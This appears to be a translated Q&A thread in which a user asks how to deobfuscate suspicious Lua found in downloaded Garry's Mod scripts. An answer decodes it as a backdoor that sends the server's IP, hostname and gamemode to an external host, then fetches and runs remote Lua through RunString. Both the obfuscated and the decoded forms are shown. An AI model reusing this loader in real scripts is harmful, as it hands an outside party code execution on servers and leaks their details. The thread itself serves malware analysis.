解码混淆 lua

Decode obfuscated lua

我最近下载了一些 lua 脚本并在其中发现了这个混淆代码。好几个小时后,我没能发现如何对其进行去混淆处理,并正在寻求一些帮助。

就我已经尝试过的而言,我注意到数字只是转换为字符,显示了一些功能。然而,在顶部分配的变量似乎没有分配给任何东西,或者可能是一些特殊的 unicode 字符,这在我的编辑器 (atom) 中是不可见的。

混淆后的代码如下:

local ‪ = _G
local ‪‪ = ‪['564503']
local ‪‪‪ = ‪['56']['014']
local function ‪‪‪‪‪‪‪(‪‪‪‪)
  if ‪‪['810'](‪‪‪‪) == 0 then
    return ‪‪‪‪
  end
  local ‪‪‪‪‪ = ''
  for _ in ‪‪['3964'](‪‪‪‪, '') do ‪‪‪‪‪
    = ‪‪‪‪‪..‪‪['44'](‪‪‪(‪["6107914"](_, 16), 53))
  end
  return ‪‪‪‪‪
end ‪
[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'655a4641'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {[‪‪‪‪‪‪‪'56'] = ‪[‪‪‪‪‪‪‪'52585a51'][‪‪‪‪‪‪‪'72504172545850585a5150']()[‪‪‪‪‪‪‪'7b545850'], [‪‪‪‪‪‪‪'50'] = ‪[‪‪‪‪‪‪‪'52545850'][‪‪‪‪‪‪‪'7250417c6574515147504646'](), [‪‪‪‪‪‪‪'51'] = ‪[‪‪‪‪‪‪‪'7250417d5a46417b545850']()})
  end )
‪[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
  function ()‪
    [‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'735041565d'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
  function (‪‪return)
    ‪[‪‪‪‪‪‪‪'67405b6641475c5b52'](‪‪return)
  end, nil )
end )

旧 Lua(和现代 LuaJIT)允许在标识符中使用任意 non-ASCII 字节(高于 0x7F)。
混淆的好功能! :-)

timer.Simple(
   5,
   function ()
      http.Post(
         "https://chainlose.000webhostapp.com/svlog/tracker.php", 
         {
            c = gmod.GetGamemode().Name, 
            e = game.GetIPAddress(), 
            d = GetHostName()
         }
      )
   end 
)
timer.Simple(
   5,
   function ()
      http.Fetch(
         "https://chainlose.000webhostapp.com/gas.lua",
         function (str)
            RunString(str)
         end, 
         nil 
      )
   end 
)